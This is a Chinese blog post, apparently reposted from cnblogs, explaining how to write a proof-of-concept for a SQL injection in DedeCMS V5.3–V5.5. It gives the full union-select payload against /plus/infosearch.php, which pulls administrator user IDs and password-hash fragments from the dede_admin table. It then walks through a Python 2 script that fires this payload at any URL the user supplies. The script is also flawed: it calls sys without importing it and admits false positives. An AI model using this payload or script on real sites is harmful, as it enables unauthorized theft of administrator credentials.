php写poc,0day Poc编写指南(实战篇)

06fc3ef22a95abd4e5e632c68d40c0d4.png

发现该POC是发送的GET请求,也就是GET注入,payload为/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,concat(0xB9DCC0EDD4B1A3BA,userid),4,concat(0xC3DC5EC2EB,substring(pwd,9,16)),6%20from%20dede_admin%23

验证:

b91bc48594b98a77a2ee22d1a504de80.png

然后POC思路呢就出来了

1.可以直接调用浏览器打开带了POC的url//选写:还可以用浏览器控件打开在获取账号与密码元素的innerText

2.发送HTTP Request获取Response的Stream,把byte转成string之后,该怎么匹配怎么匹配

这里就选择最简单的一个POC实现//选1

实现:在获取到输入的url之后加上我们的payload之后,发送GET请求之后,返回响应的状态码应该要为200否则我们认为该站点不存在该0day,状态码返回正确   urllib   库

我们在调用浏览器打开,然后我们还需要用到 webbrowser 库

OK思路理好,然后开始写

首先定义简体中文编码

#! /usr/bin/env python

# coding=utf-8

导入需要用到的类库

import urllib

import webbrowser

定义一个函数输出信息,可以用作提示信息或者欢迎界面啥的

def welcome():

print("description:\n\tdedecmsV5.3-V5.5 0day Poc\n\tIf the 0day exists, I will call your default browser to open the URL with the payload\n\tTerms of Use:\n\t\t*.py -u dedems root directory address\n\t\t*.py -u https://www.google.com\n")

在定义一个方法用来执行功能部分

def main():

try:

if len(sys.argv) == 3 and sys.argv[1].lower() == '-u':

host=sys.argv[-1]

status_code=urllib.urlopen(host).getcode()

if status_code == 200:

host=sys.argv[-1]+"/plus/infosearch.php?action=search&q=%cf%27%20union%20select%201,2,concat(0xB9DCC0EDD4B1A3BA,userid),4,concat(0xC3DC5EC2EB,substring(pwd,9,16)),6%20from%20dede_admin%23"

status_code=urllib.urlopen(host).getcode()

if status_code == 200:

webbrowser.open_new(host)

else:

print("The vulnerability does not exist")

else:

print("The target is not in the state!")

except:

print('Terms of Use:*.py -u https://www.google.com')

最后调用

if __name__ == '__main__':

welcome()

main()

完全OJBK,还有一个问题,某些404或者其他状态码自定义的 200可能会导致认为存在的页面调用浏览器打开,点到为止,差不多得了,咳咳

68f724bad5a33d9a9f6bd2ca7369ecb7.png

标签:__,200,实战篇,code,0day,POC,host,Poc

来源: https://www.cnblogs.com/V-Sec/p/12042053.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值